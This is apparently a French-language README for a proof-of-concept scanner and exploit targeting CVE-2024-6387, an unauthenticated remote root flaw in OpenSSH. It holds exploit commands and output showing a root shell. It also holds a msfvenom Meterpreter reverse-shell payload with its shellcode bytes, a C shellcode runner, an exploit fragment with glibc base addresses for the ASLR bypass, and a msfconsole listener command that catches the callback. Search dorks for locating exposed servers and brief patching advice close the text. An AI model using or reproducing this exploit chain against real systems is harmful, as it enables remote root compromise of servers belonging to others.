
PoC - Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH (Scanner et Exploit)
CVE-2024-6387 - PoCNote : Ce script est un prototype rapide de PoC, attendez-vous à des erreurs et des bugs éventuels. Testé sur : Kali Linux, ParrotSec, Ubuntu 22.04
Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH
Une condition de concurrence dans le gestionnaire de signal a été trouvée dans le serveur OpenSSH (sshd), où un client ne s'authentifie pas dans les secondes LoginGraceTime (120 par défaut, 600 dans les anciennes versions d'OpenSSH), puis le gestionnaire SIGALRM de sshd est appelé de manière asynchrone. Cependant, ce gestionnaire de signal appelle diverses fonctions qui ne sont pas async-signal-safe, par exemple syslog().
Vous trouverez les détails techniques ici.
La faille, découverte par des chercheurs de Qualys en mai 2024, et identifiée sous l'identifiant CVE-2024-6387, est due à une condition de concurrence dans le gestionnaire de signal de sshd qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire en tant que root.
"Si un client ne s'authentifie pas dans les secondes LoginGraceTime (120 par défaut), alors le gestionnaire SIGALRM de sshd est appelé de manière asynchrone et appelle diverses fonctions qui ne sont pas async-signal-safe,"
"Un attaquant distant non authentifié peut tirer parti de cette faille pour exécuter du code arbitraire avec les privilèges root."
Prérequis : python3 dernière version
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Auteur : l0n3m4n / Scanner : @xaitax / PoC : @7etsuo
Exploitation des vulnérabilités...
Tentative d'exploitation avec la base glibc : 0xb7200000
Tentative 0 sur 20000
Version SSH reçue : SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
KEX_INIT reçu (1024 octets)
send_packet : Ressource temporairement indisponible
send_packet : Ressource temporairement indisponible
send_packet : Ressource temporairement indisponible
send_packet : Ressource temporairement indisponible
.....
Exploitation réussie..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Génération d'un shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] Aucune plateforme sélectionnée, choix de Msf::Module::Platform::Linux depuis la charge utile
[-] Aucune architecture sélectionnée, sélection de l'architecture : x64 depuis la charge utile
Aucun encodeur spécifié, sortie de la charge utile brute
Taille de la charge utile : 130 octets
Taille finale du fichier c : 574 octets
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// Un espace réservé pour votre charge utile personnalisée
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Exécute le shellcode
printf("Exécution du shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Adresses de base glibc possibles (pour contournement ASLR)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Espace réservé du shellcode (remplacer par le shellcode réel)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compilation de la charge utile
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Une fois que vous recevez un message d'exploitation réussie, la msfconsole lance automatiquement une session Meterpreter.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestion des correctifs : L'application rapide des correctifs disponibles pour OpenSSH est essentielle pour combler la faille de sécurité. Un correctif en temps opportun garantit que les exploits connus ne peuvent pas être utilisés contre vos systèmes, réduisant ainsi la fenêtre d'opportunité pour les attaquants.
Contrôle d'accès renforcé : Limiter l'accès SSH via des contrôles réseau ajoute une couche de défense supplémentaire. Cette approche minimise l'exposition aux attaquants potentiels en restreignant les connexions SSH aux seuls réseaux ou adresses IP autorisés. L'utilisation d'outils comme les règles de pare-feu ou les VPN pour un accès sécurisé peut appliquer efficacement ces restrictions.